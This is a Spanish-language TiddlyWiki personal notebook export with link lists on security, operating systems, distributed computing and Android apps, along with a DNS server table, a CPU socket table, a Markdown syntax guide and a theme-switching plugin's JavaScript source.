Información sobre seguridad en máquinas conectadas a redes informáticas: ataques de denegación de servicio, acceso a datos protegidos, botnets, spam, IDS, bastionado, DMZ, etc.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki

!! Libros
* Hacking for dummies: http://searchwindowsserver.techtarget.com/feature/Hacking-for-Dummies-Test-your-firewall-rules

!! Detección de intrusos (ID)
* Artículo de la wikipedia: http://en.wikipedia.org/wiki/Intrusion_detection
* ID FAQ: http://www.sans.org/security-resources/idfaq/

!!Fortificación (hardening)
* Comprobar reglas del firewall: http://searchwindowsserver.techtarget.com/feature/Hacking-for-Dummies-Test-your-firewall-rules

!!Cloud computing y computación distribuida:
* Foro de Red Iris sobre seguridad: http://www.securityartwork.es/2011/03/14/resumen-del-ix-foro-de-seguridad-de-rediris-en-valencia
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre las medidas de seguridad incorporadas en los sistemas operativos, así como las técnicas para aumentarla y mejorarla (hardening).
</part>
!Enlaces
<part enlaces>
* ''General:''
** Resumen del "libro naranja" de clasifiación de seguridad de los """SOs""": http://www.dynamoo.com/orange/summary.htm
** Todos los libros de la serie "arcoiris" de NSA: http://www.fas.org/irp/nsa/rainbow.htm
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Seguridad en las transacciones financieras y otros servicios transaccionales.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Introducción al PCI: http://www.professionalsecuritytesters.org/modules.php?name=News&file=article&sid=885
** Guía oficial de PCI: https://www.pcisecuritystandards.org/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name:|SelectThemePlugin|
|Description:|Lets you easily switch theme and palette|
|Version:|1.0.1 ($Rev: 3646 $)|
|Date:|$Date: 2008-02-27 02:34:38 +1000 (Wed, 27 Feb 2008) $|
|Source:|http://mptw.tiddlyspot.com/#SelectThemePlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!Notes
* Borrows largely from ThemeSwitcherPlugin by Martin Budden http://www.martinswiki.com/#ThemeSwitcherPlugin
* Theme is cookie based. But set a default by setting config.options.txtTheme in MptwConfigPlugin (for example)
* Palette is not cookie based. It actually overwrites your ColorPalette tiddler when you select a palette, so beware. 
!Usage
* {{{<<selectTheme>>}}} makes a dropdown selector
* {{{<<selectPalette>>}}} makes a dropdown selector
* {{{<<applyTheme>>}}} applies the current tiddler as a theme
* {{{<<applyPalette>>}}} applies the current tiddler as a palette
* {{{<<applyTheme TiddlerName>>}}} applies TiddlerName as a theme
* {{{<<applyPalette TiddlerName>>}}} applies TiddlerName as a palette
***/
//{{{

config.macros.selectTheme = {
	label: {
      		selectTheme:"select theme",
      		selectPalette:"select palette"
	},
	prompt: {
		selectTheme:"Select the current theme",
		selectPalette:"Select the current palette"
	},
	tags: {
		selectTheme:'systemTheme',
		selectPalette:'systemPalette'
	}
};

config.macros.selectTheme.handler = function(place,macroName)
{
	var btn = createTiddlyButton(place,this.label[macroName],this.prompt[macroName],this.onClick);
	// want to handle palettes and themes with same code. use mode attribute to distinguish
	btn.setAttribute('mode',macroName);
};

config.macros.selectTheme.onClick = function(ev)
{
	var e = ev ? ev : window.event;
	var popup = Popup.create(this);
	var mode = this.getAttribute('mode');
	var tiddlers = store.getTaggedTiddlers(config.macros.selectTheme.tags[mode]);
	// for default
	if (mode == "selectPalette") {
		var btn = createTiddlyButton(createTiddlyElement(popup,'li'),"(default)","default color palette",config.macros.selectTheme.onClickTheme);
		btn.setAttribute('theme',"(default)");
		btn.setAttribute('mode',mode);
	}
	for(var i=0; i<tiddlers.length; i++) {
		var t = tiddlers[i].title;
		var name = store.getTiddlerSlice(t,'Name');
		var desc = store.getTiddlerSlice(t,'Description');
		var btn = createTiddlyButton(createTiddlyElement(popup,'li'), name?name:t, desc?desc:config.macros.selectTheme.label['mode'], config.macros.selectTheme.onClickTheme);
		btn.setAttribute('theme',t);
		btn.setAttribute('mode',mode);
	}
	Popup.show();
	return stopEvent(e);
};

config.macros.selectTheme.onClickTheme = function(ev)
{
	var mode = this.getAttribute('mode');
	var theme = this.getAttribute('theme');
	if (mode == 'selectTheme')
		story.switchTheme(theme);
	else // selectPalette
		config.macros.selectTheme.updatePalette(theme);
	return false;
};

config.macros.selectTheme.updatePalette = function(title)
{
	if (title != "") {
		store.deleteTiddler("ColorPalette");
		if (title != "(default)")
			store.saveTiddler("ColorPalette","ColorPalette",store.getTiddlerText(title),
					config.options.txtUserName,undefined,"");
		refreshAll();
		if(config.options.chkAutoSave)
			saveChanges(true);
	}
};

config.macros.applyTheme = {
	label: "apply",
	prompt: "apply this theme or palette" // i'm lazy
};

config.macros.applyTheme.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	var useTiddler = params[0] ? params[0] : tiddler.title;
	var btn = createTiddlyButton(place,this.label,this.prompt,config.macros.selectTheme.onClickTheme);
	btn.setAttribute('theme',useTiddler);
	btn.setAttribute('mode',macroName=="applyTheme"?"selectTheme":"selectPalette"); // a bit untidy here
}

config.macros.selectPalette = config.macros.selectTheme;
config.macros.applyPalette = config.macros.applyTheme;

config.macros.refreshAll = { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
	createTiddlyButton(place,"refresh","refresh layout and styles",function() { refreshAll(); });
}};

//}}}
!Descripción
<part descripcion>
Información sobre servicios web que utilizan XML para el intercambio de información.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
* ''Documentación general:''
** XML-RPC vs [[SOAP]]: http://weblog.masukomi.org/writings/xml-rpc_vs_soap.htm
** XML-RPC: http://www.xmlrpc.com/
** XML-RPC Howto: http://www.tldp.org/HOWTO/XML-RPC-HOWTO/index.html
** [[SOAP]]: http://www.w3.org/TR/SOAP/
* ''Servicios web interesantes:''
** wunderground API: http://wiki.wunderground.com/index.php/API_-_XML
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Tabla de servidores DNS
//Extraida de// http://www.adslayuda.com/dns.html 

|sortable|k
|!Operadora |!IP |!Tiempo en resolver |!Hostname |h
|Arrakis |195.5.64.2 |0.006 ms |ns1.landsraad.net |
|Arrakis |195.5.64.6 |0.006 ms |ns2.landsraad.net |
|Arsys |217.76.128.4 |0.006 ms |llnb787.servidoresdns.net |
|Arsys |217.76.129.4 |0.017 ms |llnb788.servidoresdns.net |
|Comunitel |212.145.4.97 |0.006 ms |ns1.comunitel.net |
|Comunitel |212.145.4.98 |0.006 ms |ns2.comunitel.net |
|Euskaltel |212.55.8.132 |0.044 ms |dns.euskaltel.es |
|Euskaltel |212.55.8.133 |0.016 ms |dns2.euskaltel.es |
|Google |8.8.8.8 |? ms |? |
|Google |8.8.4.4 |? ms |? |
|Jazztel |62.14.63.145 |0.006 ms |145.63.14.62.static.jazztel.es |
|Jazztel |62.14.2.1 |0.006 ms |1.2.14.62.static.jazztel.es |
|Jazztel |62.14.4.65 |0.006 ms |dnscache2.jazzvisp.com |
|Jazztel |62.14.4.64 |0.006 ms |dnscache1.jazzvisp.com |
|Jazztel ADSL2+ |87.216.1.65 |0.007 ms |65.1.216.87.static.jazztel.es |
|Jazztel ADSL2+ |87.216.1.66 |0.006 ms |66.1.216.87.static.jazztel.es |
|Metrored |80.251.75.5 |0.006 ms |ns5.albura.net |
|Metrored |80.251.75.6 |0.006 ms |ns6.albura.net |
|Norton |198.153.192.1 |? ms |? |
|Norton |198.153.194.1 |? ms |? |
|Ono |62.81.31.250 |0.038 ms |dns.iddeo.es |
|Ono |62.81.61.2 |0.035 ms |mayor.red.ono.es |
|Ono |62.81.0.35 |0.035 ms |62.81.0.35.static.user.ono.com |
|Open DNS |208.67.222.222 |? ms|? |
|Open DNS |208.67.220.220 |? ms|? |
|OpenforYou |213.195.64.64 |0.006 ms |ns1.ibercom.com |
|Openforyou |213.194.144.1 |0.006 ms |ns2.ibercom.com |
|Orange |62.81.0.33 |0.011 ms |madr-dns1.red.retevision.es |
|Orange |62.81.16.129 |0.036 ms |dns1.red.retevision.es |
|Orange |62.36.225.150 |0.006 ms |dnscachem.wanadoo.es |
|Orange |62.37.228.20 |0.007 ms |m2dnscache.net.uni2.es |
|Tele 2 |130.244.127.161 |0.007 ms |dns1.swip.net |
|Tele 2 |130.244.127.169 |0.006 ms |dns2.swip.net |
|Tele2 - Comunitel |212.145.159.141 |0.006 ms |ns3.comunitel.net |
|Telefonica Data |80.58.0.33 |0.006 ms |33.Red-80-58-0.staticIP.rima-tde.net |
|Telefonica Data |80.58.32.97 |0.006 ms |97.Red-80-58-32.staticIP.rima-tde.net |
|Telefónica España |80.58.61.250 |0.006 ms |250.Red-80-58-61.staticIP.rima-tde.net |
|Telefónica España |80.58.61.254 |0.007 ms |254.Red-80-58-61.staticIP.rima-tde.net |
|Telefónica-Perú |200.48.225.130 |0.006 ms |cachewas.tdp.net.pe |
|Telefónica-Perú |200.48.225.146 |0.006 ms |cachesis.tdp.net.pe |
|Terra |194.224.52.36 |0.006 ms |ns1.telefonica-data.com |
|Terra |194.224.52.37 |0.017 ms |ns2.telefonica-data.com |
|Tiscali |194.224.52.37 |0.006 ms |ns2.telefonica-data.com |
|Uni 2 |62.37.225.56 |0.006 ms |dns.comtenidos.com |
|Uni 2 |62.37.225.57 |0.006 ms |dns2.comtenidos.com |
|Vodafone |212.73.32.3 |0.006 ms |dns1m11.airtel.es |
|Vodafone |212.73.32.67 |0.006 ms |dns2b11.airtel.es |
|Wanadoo |62.36.225.150 |0.006 ms |dnscachem.wanadoo.es |
|Wanadoo |62.37.228.20 |0.006 ms |m2dnscache.net.uni2.es |
|Ya.com |62.151.2.8 |0.006 ms |dns.ya.com |
|Ya.com |62.151.4.21 |0.007 ms |acceso.ya.com |
|Ya.com |62.151.20.6 |0.013 ms |ns2.bs-ya.com |
! Introducción


! Referecias
http://java.sun.com/j2se/1.5.0/docs/guide/javaws/developersguide/downloadservletguide.html
<<search>><<closeAll>><<permaview>><<newTiddler>><<newJournal "DD MMM YYYY" "journal">><<saveChanges>><<saveAndReload>><<tiddler TspotSidebar>><<slider chkSliderOptionsPanel OptionsPanel "options »" "Change TiddlyWiki advanced options">>
<<tabs txtMainTab "Timeline" "Timeline" TabTimeline "All" "All tiddlers" TabAll "Índ." "Índices" _indices "Tags" "All tags" TabTags "More" "More lists" TabMore>>
''Nota:'' Esta entraba es básicamente un resumen de la excelente [[guía de debug_mode=on|http://es.debugmodeon.com/articulo/sintaxis-de-markdown]] con añadidos extraídos de la [[página principal de los creadores del lenguaje|http://daringfireball.net/projects/markdown/syntax]].

!Introducción
Markdown es un lenguaje utilizado principalmente en wikis y blogs para formatear el texto. Se diferencia del [[HTML]] en que es mucho más sencillo de usar, más facil de leer y de escribir, pero también es mucho menos flexible. El texto con el formato de Markdown es convertido automáticamente a [[HTML]] a la hora de visualizar el documento, pero el código original es siempre accesible a la hora de editarlo.

Otra característica destacable es que el texto es fácilmente legible también si se envía por email. De hecho se utilizan muchas características que se suelen utilizar en el correo electrónico, como citar en bloque con {{{>}}} o subrayar texto para denotar títulos.

Al contrario que otros lenguajes de marcado similares, Markdown permite incrustar código [[HTML]] en cualquier lugar del documento. No obstante, no es muy recomendable abusar de esta capacidad.

! Generalidades
!! Caracteres especiales
Contrariamente a lo que sucede con [[HTML]], Markdown detecta cuando los caracteres {{{<}}} y {{{&}}} se utilizan como parte de elementos html o como parte de palabras y en el segundo caso convierte los caracteres en las entidades equivalente {{{&lt;}}} y {{{&amp;}}}.
!! Párrafos y saltos de línea
En Markdown, un párrafo es un bloque de texto separado por una o más líneas en blanco. En caso de querer forzar un salto de línea entre líneas de texto consecutivas, se pueden insertar dos o más espacios al final de una línea, y serán implícitamente convertivos a {{{<br/>}}}.
!!Escapado de caracteres especiales
Para poder utilizar caracteres reservados como texto normal se pueden o bien poner como una entidad HTML o es puede anteponer una barra invertida {{{\}}}. Por ejemplo:
{{{
Este texto \*no esta en cursiva\*
}}}

! Formato del texto
!! Encabezados y títulos
Hay dos formas de definir títulos:
* Mediante subrayado: Permite sólo definir títulos de tipo H1 y H2 escribiendo una línea de caracteres en la línea siguiente a donde se haya escrito el título, {{{=}}} para H1 y {{{-}}} para H2:
{{{
Soy un título H1
================

Soy un título H2
----------------
}}}
* Con símbolos {{{#}}}: Anteponiendo tantos {{{#}}} como nivel tenga el título. También se pueden poner {{{#}}}, que no serán mostrados. Ejemplo:
{{{
# Titulo 1
## Titulo 2 ##
### Titulo 3 #########
}}}
!! Negritas y cursivas
Para marcar palabras en cursiva, se deben encerrar entre un único '{{{*}}}' o un '{{{_}}}'. Ejemplo:
{{{
Texto normal y *texto en cursiva* otra vez normal _y de nuevo en cursiva_
}}}
Para marcar palabras en negrita se encienrran con '{{{*}}}' ó '{{{_}}}' dobles:
{{{
Texto normal y **texto en negrita** otra vez normal __y de nuevo en negrita__
}}}
!! Código fuente en línea
Para incluir fragmentos de código fuente se pone entre comillas invertidas {{{`}}}. Ejemplo:
{{{
Texto normal `codigo fuente *no* interpretado` otra vez normal
}}}
Si el código fuente contiene alguna comilla invertida, deben encerrarse entre comillas invertidas dobles:
{{{
Texto normal ``con código fuente que utiliza ` en su interior`` y otra vez normal.
}}}

!Formato del documento
!! Listas no numeradas
Se pueden definir listas no numeradas comenzando un grupo de líneas consecutivas por '{{{* }}}', '{{{+ }}}' ó '{{{+ }}}'. Ejemplo:
{{{
* Elemento
* Otro elemento

+ Una cosa
+ Otra cosa

- Pijorro
- Pichorro
}}}
!! Listas numeradas
Las listas numeradas se definen de forma similar a las no numeradas, pero empezando por un número seguido de un punto y un espacio. Los números no tienen por qué estar ordenados, Markdown se encargará de ordenarlos a la hora de visualizar. Ejemplo:
{{{
1. Primer elemento
2. Segundo elemento
4. Tercer elemento
}}}
!! Comentarios en bloque
Para introducir un comentario en bloque hay que comenzar la línea por {{{>}}}. Se pueden anidar poniendo más {{{>}}} y además puede contener cualquier otro formateo, como código fuente o negritas. Ejemplo:
{{{
>Texto citado
>más texto citado
>>texto citado de nivel dos
>>y ahora con **negritas** y `codigo fuente`
>* Hasta listas
>* de todo tipo
}}}
!! Bloques de código fuente
Se puede instar un bloque de código fuente simplemente empezando la línea por 4 espacios. Ejemplo:
{{{
Lo siguiente es código fuente (en *python* concretamente):
    a = 5
    b = 20
    c = 67
    print a *b* c

esto ya no es código fuente
}}}
!! Líneas horizontales
Simplemente hay que escribir 3 o más asteriscos o guiones. Los siguientes ejemplos producirán sendas barras horizontales:
{{{
* * *
***
*****
- - -
---------------------------------
}}}

! Enlaces
Markdown soporta varias formas distintas de definir enlaces, ¡y todas son más sencillas que utilizar un {{{<a href="" ></a>}}}! Algo común a todas es que el texto a mostrar se escribe siempre entre corchetes: {{{[loquesea esta url]}}}.
!! Enlaces simples
Es muy sencillo, se pone el texto entre corchetes y la URL entre paréntesis. Ejemplo:
{{{
[pincha aquí](http://google.es)
}}}
!! Enlaces automáticos
Poniendo una URL o una dirección de correo electrónico entre paréntesis angulares({{{<}}} y {{{>}}}) se genera automáticamente un enlace:
{{{
<http://exaple.com>
<aaa@ggg.ccc>
}}}
!! Enlaces a imágenes
Es similar a los enlaces simples, pero con un {{{!}}} delante:
{{{
![imagen](http://ruta.a/la/imagen.jpg)
}}}
//Más información en [[ReferenciaTiddlyWiki]]//

!Inline Formatting
|!Option|!Syntax|!Output|
|bold font|{{{''bold''}}}|''bold''|
|italic type|{{{//italic//}}}|//italic//|
|underlined text|{{{__underlined__}}}|__underlined__|
|strikethrough text|{{{--strikethrough--}}}|--strikethrough--|
|superscript text|{{{^^super^^script}}}|^^super^^script|
|subscript text|{{{~~sub~~script}}}|~~sub~~script|
|highlighted text|{{{@@highlighted@@}}}|@@highlighted@@|
|preformatted text|<html><code>{{{preformatted}}}</code></html>|{{{preformatted}}}|
!Block Elements
!!Headings
{{{
!Heading 1
!!Heading 2
!!!Heading 3
!!!!Heading 4
!!!!!Heading 5
}}}
<<<
!Heading 1
!!Heading 2
!!!Heading 3
!!!!Heading 4
!!!!!Heading 5
<<<
!!Lists
{{{
* unordered list, level 1
** unordered list, level 2
*** unordered list, level 3

# ordered list, level 1
## ordered list, level 2
### unordered list, level 3

; definition list, term
: definition list, description
}}}
<<<
* unordered list, level 1
** unordered list, level 2
*** unordered list, level 3

# ordered list, level 1
## ordered list, level 2
### unordered list, level 3

; definition list, term
: definition list, description
<<<
!!Blockquotes
{{{
> blockquote, level 1
>> blockquote, level 2
>>> blockquote, level 3

<<<
blockquote
<<<
}}}
<<<
> blockquote, level 1
>> blockquote, level 2
>>> blockquote, level 3

> blockquote
<<<
!!Preformatted Text
<html><pre>
{{{
preformatted (e.g. code)
}}}
</pre></html>
<<<
{{{
preformatted (e.g. code)
}}}
<<<
!!Tables
{{{
|CssClass|k
|!heading column 1|!heading column 2|
|row 1, column 1|row 1, column 2|
|row 2, column 1|row 2, column 2|
|>|COLSPAN|
|ROWSPAN| … |
|~| … |
|CssProperty:value;…| … |
|caption|c
}}}
''Annotation:''
* The {{{>}}} marker creates a "colspan", causing the current cell to merge with the one to the right.
* The {{{~}}} marker creates a "rowspan", causing the current cell to merge with the one above.
<<<
|CssClass|k
|!heading column 1|!heading column 2|
|row 1, column 1|row 1, column 2|
|row 2, column 1|row 2, column 2|
|>|COLSPAN|
|ROWSPAN| … |
|~| … |
|CssProperty:value;…| … |
|caption|c
<<<
!!Images /% TODO %/
cf. [[TiddlyWiki.com|http://www.tiddlywiki.com/#EmbeddedImages]]
!Hyperlinks
* [[WikiWords|WikiWord]] are automatically transformed to hyperlinks to the respective tiddler
** the automatic transformation can be suppressed by preceding the respective WikiWord with a tilde ({{{~}}}): {{{~WikiWord}}}
* [[PrettyLinks]] are enclosed in square brackets and contain the desired tiddler name: {{{[[tiddler name]]}}}
** optionally, a custom title or description can be added, separated by a pipe character ({{{|}}}): {{{[[title|target]]}}}<br>'''N.B.:''' In this case, the target can also be any website (i.e. URL).
!Custom Styling
* {{{@@CssProperty:value;CssProperty:value;…@@}}}<br>''N.B.:'' CSS color definitions should use lowercase letters to prevent the inadvertent creation of WikiWords.
* <html><code>{{customCssClass{…}}}</code></html>
* raw HTML can be inserted by enclosing the respective code in HTML tags: {{{<html> … </html>}}}
!Special Markers
* {{{<br>}}} forces a manual line break
* {{{----}}} creates a horizontal ruler
* [[HTML entities|http://www.tiddlywiki.com/#HtmlEntities]]
* {{{<<macroName>>}}} calls the respective [[macro|Macros]]
* To hide text within a tiddler so that it is not displayed, it can be wrapped in {{{/%}}} and {{{%/}}}.<br/>This can be a useful trick for hiding drafts or annotating complex markup.
* To prevent wiki markup from taking effect for a particular section, that section can be enclosed in three double quotes: e.g. {{{"""WikiWord"""}}}.
<<showtoc>>
! Descripción
<part descripcion>
Información sobre sistemas concurrentes, paralelos y distribuidos. En general, todo lo que sea ejecución sobre varios procesadores.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia sobre concurrencia: http://es.wikipedia.org/wiki/Programaci%C3%B3n_concurrente
* Artículo de la Wikipedia sobre paralelismo: http://es.wikipedia.org/wiki/Programaci%C3%B3n_paralela
* Artículo de la Wikipedia sobre sistemas distribuidos: http://es.wikipedia.org/wiki/Sistemas_Distribuidos

!! Artículos
* Time, Clocks and Ordening of Events in a Distributed System: http://research.microsoft.com/en-us/um/people/lamport/pubs/time-clocks.pdf
* A Note on Distributed Computing: http://research.sun.com/techrep/1994/abstract-29.html
* Parallel and Distributed Computation:Numerical Methods: http://dspace.mit.edu/handle/1721.1/3719

!! MPI
* Tutorial de MPI: http://basor.fcqb.uasnet.mx/tutmpi.html
* Tutoriales de MPI y clusters: http://www.eead.csic.es/compbio/material/intensiva/intensiva.htm
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre distintos sistemas de codificación de texto: ASCII, Unicode, braille, morse, etc.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia sobre códigos lingüísticos: http://es.wikipedia.org/wiki/C%C3%B3digo_ling%C3%BC%C3%ADstico
* Artículo de la Wikipedia sobre codificación de caracteres: http://es.wikipedia.org/wiki/Codificaci%C3%B3n_de_caracteres
* Conversor de formatos de texto: http://www.seguridadwireless.net/php/conversor-universal-wireless.php

!! Texto
!!! Unicode
* Lo que todo programador debería conocer sobre UNICODE: http://www.joelonsoftware.com/articles/Unicode.html
* Tabla de caracteres UTF-8: http://www.utf8-chartable.de/
* Tabla rápida UNICODE: http://www.tamasoft.co.jp/en/general-info/unicode.html

!!! ASCII
* Tabla de caracteres ASCII: http://www.lookuptables.com/
* Tabla rápida: http://www.myhairyass.com/ASCII/Table/

!! Ebooks y formatos de lectura digital
!!! PDF
* Artículo de la wikipedia: https://es.wikipedia.org/wiki/PDF
* Lector oficial (adobe): http://get.adobe.com/es/reader/

!!! EPUB
* Página de la wikipedia: https://es.wikipedia.org/wiki/EPUB
* Conversor online htmo -> EPUB: http://dotepub.com/
* Editor de EPUB: http://code.google.com/p/sigil/

!! Direcciones y localizaciones
* Lo que todo programador debería saber sobre las URLs: http://www.skorks.com/2010/05/what-every-developer-should-know-about-urls/
* Direcciones IPv4: http://en.wikipedia.org/wiki/IPv4
* Direcciones IPv6: http://en.wikipedia.org/wiki/IPv6
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Información sobre sistemas operativos diversos
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Sistema_operativo

!! Documentación
!!! Libros
* "Operating Systems and Middleware: Supporting Controlled Interaction": https://gustavus.edu/+max/os-book/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Cuaderno de notas de un programador desmemoriado
Rubenpedia
<<showtoc>>
! Descripción
<part descripcion>
Es un lenguaje orientado a objetos diseñado para fines educativos y para poder realizar GUIs sencillas con poco esfuerzo.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Smalltalk
* Implementación de máquina virtual: http://www.squeak.org/
* Recursos de aprendizaje: http://www.smalltalk.org/smalltalk/learning.html
* Comunidad de SmallTalk: http://www.world.st/
* Tutorial de IBM: http://www.inf.ufsc.br/poo/smalltalk/ibm/tutorial/content.html
* Libros gratis: http://stephane.ducasse.free.fr/FreeBooks/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Los sockets son la parte de la placa base en la que se inserta el chip de [[CPU]]. El socket le proporciona alimentación eléctrica a la CPU y conecta las líneas de datos y control con el resto de componentes.

Cada fabricante de CPUs tiene sus propios diseños, y suelen servir para una o varias familias de procesadores. En el mercado doméstico actual podemos distinguir principalmente a dos fabricantes: [[Intel]] y [[AMD]].

! Principales sockets en el mercado
En la historia de la informática ha habido muchos tipos de sockets de CPU distintos, pero aquí hablaremos sólo de los que se usan actualmente. Al final del artículo hay una referencia a la wikipedia mucho más extensa en la que se pueden consultar dichos datos históricos.

En la siguiente tabla pueden verse las principales características de los principales fabricantes

|!Fabricante |!Modelo |!Bus de datos |!CPUs soportadas |!Memoria soportada |!Notas |h
| AMD | [[AM2|http://es.wikipedia.org/wiki/Socket_AM2]] | HyperTransport 2.0 (200-1000Mhz) |Athlon XP 64, Opteron, Sempron, Phenom | DDR2 ||
|~| [[AM2+|http://es.wikipedia.org/wiki/Socket_AM2%2B]] | HyperTransport 2.0 y 3.0 (200-2600Mhz) |Todos los AM2 y Phenom II | DDR2 |Es un término medio entre AM2 y AM3  |
|~| [[AM3|http://es.wikipedia.org/wiki/Socket_AM3]] | HyperTransport 3.0 (200-3200Mhz) | Phenom II | DDR2 y DDR3 |Incompatible con AM2 |
| Intel | [[755 (T)|http://es.wikipedia.org/wiki/Socket_775]] | 533-1600Mhz |Pentium 4, Pentium D, Core 2 Duo, Core 2 Quad, Xeon, Celeron | DDR2 |Uno de los sockets más utilizados |
|~| [[1156 (H)|http://es.wikipedia.org/wiki/Socket_1156]] | Usa varios | Core i3, Core i5, Core i7, Xeon | DDR3 |Rompe con el 775 y elimina el FSB (usa buses dedicados) |
|~| [[1366 (B)|http://es.wikipedia.org/wiki/Socket_1366]] | Usa varios | Core i7, Xeon | DDR3 |Mejora el 1156 para los nuevos i7 |

Como puede verse en la tabla, los nuevos sockets Intel eliminan el clásico bus frontal que comunica el procesador con el resto de periféricos por varios buses dedicados: para RAM, para PCI xpress, etc. Esto hace que las placas base sean más caras, pero incrementa muchísimo el rendimiento del acceso a memoria y a dispositivos externos.

! Referencias
* http://en.wikipedia.org/wiki/CPU_socket
<<showtoc>>
! Descripción
<part descripcion>
Todo tipo de programas y aplicaciones ordenados por categoría.
</part>
! Enlaces
<part enlaces>
!! Repositorios software libre y gratuito
* FSF Dictionary: http://directory.fsf.org/category/index/
* Repositorio de software gratuito: http://www.neowin.net/forum/topic/934274-freeware-alternative-list/page__pid__593096568__st__0

!! Repositorios mixtos
* Softpedia: http://www.softpedia.com/
* Alternatives To: http://alternativesto.net
* Softonic: http://softonic.es
* Versiones antiguas de programas conocidos: http://www.oldversion.com/

</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Programas para el sistema operativo Android.
</part>
! Enlaces
<part enlaces>
!! [[Colecciones y repositorios|EnlacesAndroid]]
<<slider chkEnlacesAndroid EnlacesAndroid/enlaces enlaces "ver enlaces Android">>

!! Herramientas por tema

!!! Telefonía, redes móviles y GPS
!!!! Localización de antenas y puntos de cobertura
* Localizador de antenas: http://www.xatakandroid.com/aplicaciones-android/antennas-localiza-tu-antena-con-tu-movil-android
* Open Signal Maps: https://market.android.com/details?id=com.staircase3.opensignal

!!!! SMS
* GO SMS: https://market.android.com/details?id=com.jb.mms
* GO SMS Pro: https://market.android.com/details?id=com.jb.gosms

!!! Información personal
!!!! Agenda de contactos
* GO Contacts: https://market.android.com/details?id=com.jbapps.contact
* Whats Operator: http://and.roid.es/whats-operator-descubre-el-operador-de-tus-contactos.html

!!!! Calendarios y asistentes personales
* Smooth Calendar: https://market.android.com/details?id=se.catharsis.android.calendar
* Total Agenda: https://market.android.com/details?id=org.inse.pim
* Touch Calendar: https://market.android.com/details?id=uk.co.olilan.touchcalendar.trial
* Las mejores aplicaciones de agenda: http://www.elandroidelibre.com/2011/03/las-5-mejores-aplicaciones-de-agenda-de-contactos-android.html
* Deja Office: https://market.android.com/details?id=com.companionlink.clusbsync
* Business Calendar: https://market.android.com/details?id=netgenius.bizcal&feature=search_result

!!! Redes locales
!!!! Control remoto
* Android VNC (requiere root): http://code.google.com/p/android-vnc/
* Android VNC Server (requiere root): http://code.google.com/p/android-vnc-server/
* Android Screencast (requiere root): http://code.google.com/p/androidscreencast/
* And Remote: http://andremote.anddev.org/
* Wyse PocketCloud VPN/RDP: https://market.android.com/details?id=com.wyse.pocketcloudfree
* Blueput Droid: https://market.android.com/details?id=berserker.android.apps.blueputdroid

!!!! Wake on LAN/WAN
* Wol Wake On Lan: http://www.androidzoom.com/android_applications/tools/wol-wake-on-lan-wan_hgbj.html

!!!! Herramientas de red
* Firebind (comprobador de firewalls): https://market.android.com/details?id=com.firebind.android

!!! Internet
!!!! Navegadores web
* Firefox: http://www.androidzoom.com/es/aplicaciones_android/productividad/mozilla-firefox-web-browser_pqni.html
* Dolphin HD: http://www.androidzoom.com/es/aplicaciones_android/comunicacion/dolphin-hd-theme-orange_hcip.html
* Opera Mini: http://www.androidzoom.com/es/aplicaciones_android/comunicacion/opera-mini-web-browser_flem.html
* Skyfire: http://www.androidzoom.com/es/aplicaciones_android/comunicacion/skyfire-web-browser-30_gmkv.html
* Miren Browser: https://market.android.com/details?id=cn.miren.browser&feature=search_result

!!!!! Extensiones firefox
* Proxy Mobile: https://addons.mozilla.org/en-US/mobile/addon/proxy-mobile/

!!!! RSS y noticias
* Pulse: http://www.xatakamovil.com/aplicaciones/pulse-news-un-lector-de-noticias-diferente
* Good News: https://market.android.com/details?id=com.gettingmobile.goodnews
* BuzzBox: https://market.android.com/details?id=com.theappslab.android.news
* FeedSquares: http://www.androidzoom.com/android_applications/news_and_magazines/feedsquares-for-google-reader_gmby.html
* NewsRob: http://es.androlib.com/android.application.com-newsrob-wmq.aspx
* Greed (lite): http://es.androlib.com/android.application.com-fognl-android-greed-wxp.aspx
* BlueRSS: http://es.androlib.com/android.application.com-bluegorilla-jEnm.aspx
* Read It Later: https://market.android.com/details?id=com.ideashower.readitlater.pro&feature=search_result

!!!! Email
* K-9 Mail: http://www.appbrain.com/app/k-9-mail/com.fsck.k9

!!!! Mensajería
* Seesmic: https://market.android.com/details?id=com.seesmic
